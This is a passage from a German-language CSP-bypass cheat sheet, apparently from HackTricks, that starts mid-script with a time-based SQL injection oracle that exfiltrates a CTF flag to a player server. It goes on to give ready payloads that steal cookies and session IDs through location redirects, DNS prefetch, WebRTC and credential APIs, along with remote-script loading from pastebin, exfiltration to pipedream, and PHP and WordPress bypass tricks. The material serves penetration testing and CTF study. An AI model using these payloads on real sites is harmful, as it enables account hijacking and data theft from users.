return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>
```
### Via Bookmarklets

Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.

Für weitere Informationen [**überprüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### CSP-Bypass durch Einschränkung von CSP

In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.

Sie können **eine CSP eines Iframes** mit dem **`csp`**-Attribut einschränken:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und spezifische Inline-Skripte über sha aktiviert werden:
```html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS-Exfiltration mit Content-Security-Policy-Report-Only

Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von Ihnen kontrollierten Wert** hat (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.

Für ein Beispiel [**sehen Sie sich diesen CTF-Bericht an**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking Information with CSP and Iframe

- Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.

Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierten Verhaltens führen kann.

Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Durch die Überwachung, welche Anfragen von der CSP blockiert oder erlaubt werden, kann man die möglichen Zeichen im geheimen Subdomain eingrenzen und schließlich die vollständige URL aufdecken.

Beide Methoden nutzen die Nuancen der CSP-Implementierung und -Verhalten in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von [**hier**](https://ctftime.org/writeup/29310).

## Unsichere Technologien zum Umgehen von CSP

### PHP-Fehler bei zu vielen Parametern

Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man es auch mit POST-Parametern und mehr als 20 Dateien tun kann) dazu, dass jeder definierte **`header()`** im PHP-Webcode **nicht gesendet wird**, aufgrund des Fehlers, den dies auslösen wird.

### PHP-Antwortpufferüberlastung

PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.

Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Fehlerseite umschreiben

Von [**diesem Writeup**](https://blog.ssrf.kr/69) sieht es so aus, als wäre es möglich gewesen, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
```
### SOME + 'self' + wordpress

SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem Endpunkt einer Seite** ausnutzt, um **andere Endpunkte derselben Herkunft zu missbrauchen.** Dies geschieht, indem der anfällige Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite auf den echten Endpunkt derselben Herkunft, den man missbrauchen möchte, aktualisiert wird. Auf diese Weise kann der **anfällige Endpunkt** das **`opener`**-Objekt im **Payload** verwenden, um auf das DOM des **echten Endpunkts, den man missbrauchen möchte,** zuzugreifen. Für weitere Informationen siehe:

{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}

Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).

Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachte, dass dieses **Script** **geladen** wird, weil es **von 'self'** erlaubt ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## CSP Exfiltration Bypasses

Wenn es eine strenge CSP gibt, die es dir nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die du immer tun kannst, um die Informationen zu exfiltrieren.

### Location

Du könntest einfach die Location aktualisieren, um die geheimen Informationen an den Server des Angreifers zu senden:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta-Tag

Sie könnten umleiten, indem Sie einen Meta-Tag injizieren (dies ist nur eine Umleitung, dies wird keinen Inhalt leaken)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und sie für die spätere Verwendung zwischenspeichern.\
Sie können einen Browser anweisen, einen Hostnamen vorab aufzulösen mit: `<link rel="dns-prefetch" href="something.com">`

Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
```
Eine andere Möglichkeit:
```javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Um dies zu vermeiden, kann der Server den HTTP-Header senden:
```
X-DNS-Prefetch-Control: off
```
> [!NOTE]
> Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots)

### WebRTC

Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.

Tatsächlich kann man _Informationen_ mit einer _DNS-Anfrage_ _leaken_. Schau dir diesen Code an:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Eine weitere Option:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer

Das Anmeldefenster sendet eine DNS-Anfrage an die iconURL, ohne durch die Seite eingeschränkt zu werden. Es funktioniert nur in einem sicheren Kontext (HTTPS) oder auf localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Überprüfung von CSP-Richtlinien online

- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Automatisches Erstellen von CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referenzen

- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)

​

{{#include ../../banners/hacktricks-training.md}}